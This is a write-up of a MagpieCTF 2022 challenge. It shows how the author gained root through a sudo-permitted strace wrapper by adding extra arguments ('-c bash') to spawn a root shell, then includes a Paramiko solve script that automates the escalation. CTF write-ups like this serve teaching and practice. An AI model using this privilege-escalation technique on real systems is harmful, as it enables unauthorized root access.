Preface
The organizers of MagpieCTF 2022 were kind enough to publicly release their challenges along with their official writeups on GitHub, and you can view the files for this challenge here.
The Challenge
You have gained access to a company employee’s home directory. He was the target of a specialized spear-fishing campaign where we successfully stole his credentials. More specifically, this user was targeted because our recon intel indicated that they have permissions to run a program which contains information on top secret patents. Currently we have a different program running which changes their password, as well as the port on which ssh connects. This password will be given to you and will be valid for the next ten minutes until which time the connection will close. Your task is to figure out exactly what this program is doing. You have been given a copy of the binary which you will need to further reverse engineer in this user’s home directory.
[Link to container spawner]
The description also gave us two hints:
xxd
sudo -l
The (Unintended) Solution
(if you’re interested or confused by some of the commands I use, check out the Command Explanations section at the end)
Part 0
After starting a new container using their web interface, we are given an SSH command and password that will give us access to the server.
(And a warning that the container will be deleted in 10 minutes.)
Part 1
First things first, we login to the server:
$ ssh magpie@[redacted] -p 51750
The authenticity of host '[redacted]:51750 ([redacted]:51750)' can't be established.
ED25519 key fingerprint is SHA256:KhQdaicvX8QvnF11T1E5795ZFfW8yeyCL4EYLX6+9dQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[redacted]:51750' (ED25519) to the list of known hosts.
magpie@[redacted]'s password:
[magpie@da5d081082d4 ~]$
Let’s see what’s in this home directory:
$ ls -l
total 40
drwx------ 1 magpie magpie 4096 Feb 25 16:11 .
drwxr-xr-x 1 root root 4096 Feb 25 16:11 ..
-rw-r--r-- 1 magpie magpie 21 Jan 8 18:31 .bash_logout
-rw-r--r-- 1 magpie magpie 57 Jan 8 18:31 .bash_profile
-rw-r--r-- 1 magpie magpie 141 Jan 8 18:31 .bashrc
-rwxr-xr-x 1 root root 16408 Feb 25 16:10 locked-secret
Nothing special, except for this locked-secret
executable.
$ file -rk ./locked-secret
./locked-secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fb69601daad327c078a834d80d34cd1eb955bc41, for GNU/Linux 4.4.0, not stripped
- data
May as well try running it.
$ ./locked-secret
You can't force me
Hm. Well, the hint did mention xxd
, let’s see what that reveals.
$ xxd locked-secret
[a giant wall of hexdump]
Y’know what, never mind - let’s see what strings can show us.
$ strings -n 8 locked-secret
[...]
/root/followme
You can't force me
[...]
Only about a screenfull of text, and these two adjacent lines that stood out to me.
The second one is obviously the string that was printed when we ran the executable, but the line above seems like the next step in this puzzle.
Part 2
Let’s see what this /root/followme
file is.
$ ls -l /root/followme
ls: cannot access '/root/followme': Permission denied
Yeah, that makes sense. /root
is mode 700 by default, and it doesn’t look like this container is any exception.
We need a privilege escalation to access that file… which reminds me of the sudo -l
hint.
$ sudo -l
User magpie may run the following commands on da5d081082d4:
(ALL) NOPASSWD: /usr/sbin/strace -f ./*
Well that seems straightforward enough. We use strace as a privesc to gain access to the next step.
We’ll cd
into the root directory so we can easily strace anything we want.
$ cd /
$ sudo strace -f ./root/followme
Cannot trace './root/followme'.
Hm. Maybe it’s something with that file - it could be a script, or not executable at all.
$ sudo strace -f ./usr/bin/bash
Cannot trace './usr/bin/bash'.
Hm… now that’s really weird.
After spending a little while googling that message, I eventually decided to try giving bash a command to run using -c
.
$ sudo strace -f ./usr/bin/bash -c bash
[a wall of strace output]
… uh. Okay.
I have no idea why that worked and the previous command didn’t, but the flag is more important (and I’m on a 10 minute time limit).
Using bash through strace is a mess, so let’s redirect strace’s output to /dev/null
$ sudo strace -f ./usr/bin/bash -c bash 2>/dev/null
We get a blank line. Which is good - we expect that, because we redirected stderr, and that’s where bash prints its PS1 prompt.
(For clarity, I’m going to add a #
to the lines I enter, but they don’t actually show up in reality.)
Let’s see what we have access to now.
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -l
total 1808
-rwxr-xr-x 1 root root 16384 Feb 25 16:10 followme
-rwxr-xr-x 1 root root 1833560 Jan 11 02:35 strace
# ./followme
You're not fast enough to follow me.
Hm. Don’t know what that means, but this should be the next step.
I also don’t know what the strace
file is for, but we’ll get to that later…
Since it worked last time, let’s try strings again.
# strings -n 8 ./followme
[...]
magpie{1_gu3sz_y()u_c4ught_m3}
lockbox.txt
/bin/setfattr
You're not fast enough to follow me.
[...]
Well. That was… weird.
At this point I submitted the flag, but I was fairly sure I did not solve this challenge the intended way:
For one, this is a reversing challenge - but I only ran strings
, which is hardly reversing.
It was marked as a “medium” difficulty challenge, but (at least in my opinion) this was a very easy route.
And there were many references that didn’t make any sense - why is there a “lockbox.txt” mentioned, for example?
The Intended Solution
(note: I won’t actually go into detail on the intended solution; both because I haven’t solved it that way, and more importantly, because the official writeup does a good job of explaining it anyways)
Shortly after the competition, I was chatting with some other players and my suspicions were confirmed: they had patched the locked-secret
binary and ran strace
on it to get the flag, instead of whatever I was doing.
However, this left one question remaining: why did strace
only allow me to run bash
after I added the -c bash
arguments?
After talking with the author of the challenge and looking at the released challenge files, it all became clear.
They had written a wrapper around strace
, meant to only allow executing the patched binary and nothing else (by comparing the target binary against a hardcoded hash).
However, this wrapper had a fatal flaw: line 32 checks if you gave it exactly three arguments - if you didn’t, it would simply execute the real strace
as usual. This means that to bypass the check, all you had to do was pass another argument or two, such as the -c bash
I added, and you could run anything you wanted as root.
This explains the cryptic Cannot trace ...
messages, and why adding those parameters allowed the privilege escalation to work.
The /root/strace
file was the original strace
, which was called by the wrapper.
Solve Script
Here’s the automated flag-retrieval script, for fun (requires Paramiko):
#!/usr/bin/env python3
import argparse, re
import paramiko
USER = "magpie"
PASSWORD = "keyissecret"
FLAG_REGEX = re.compile(r"magpie\{.+?\}")
# this policy prevents paramiko from doing anything with the SSH host key
class IgnorePolicy(paramiko.MissingHostKeyPolicy):
def missing_host_key(self, client, hostname, key):
return
parser = argparse.ArgumentParser(description="A fully-automated flag retriever for MagpieCTF 2022's followme challenge.")
parser.add_argument("hostname", help="The hostname or IP to connect to via SSH.")
parser.add_argument("port", help="The SSH port to connect to.")
args = parser.parse_args()
with paramiko.SSHClient() as client:
client.set_missing_host_key_policy(IgnorePolicy)
print(f" => Connecting to {args.hostname}:{args.port}")
client.connect(args.hostname, args.port, USER, PASSWORD, allow_agent=False, look_for_keys=False)
print(f" => Running remote command")
stdin, stdout, stderr = client.exec_command("/bin/bash", get_pty=True)
stdin.write(b"sudo strace -f ./../../root/followme arg\n")
stdin.close()
print(f" => Searching for flag")
for line in stdout:
match = FLAG_REGEX.search(line)
if match is not None:
flag = match.group(0)
print(f" => Found flag: {flag}")
break
Command Explanations
This section lists some of the more uncommon commands that I’ve used throughout my writeup, and explains what they do.
strings -n 8 <file>
strings
is a utility from binutils that displays printable strings from a (typically binary) file.
The -n 8
tells strings
to skip displaying strings shorter than 8 characters.
file -rk <file>
file
is a common utility that tries to determine the file format of a given file.
-k
tells file
to display all of its guesses, instead of just the first match it finds, and -r
is required to display this extra information correctly.
sudo -l
sudo
is a system utility that allows users to run programs as other users - typically as root.
The behavior of sudo
can be configured in many different ways; in this challenge, it was configured to allow our user to run strace
as root without entering a password.
Passing -l
tells sudo
to just list our user’s permissions on this machine (instead of executing a program).
strace -f <file>
strace
is (normally) a powerful tool that, among other things, allows you to see what syscalls a program is making.
I passed -f
just because the sudo
configuration required it, but it tells strace
to “follow forks” - in other words, it will trace the syscalls of child processes too, not just the initial process of the program.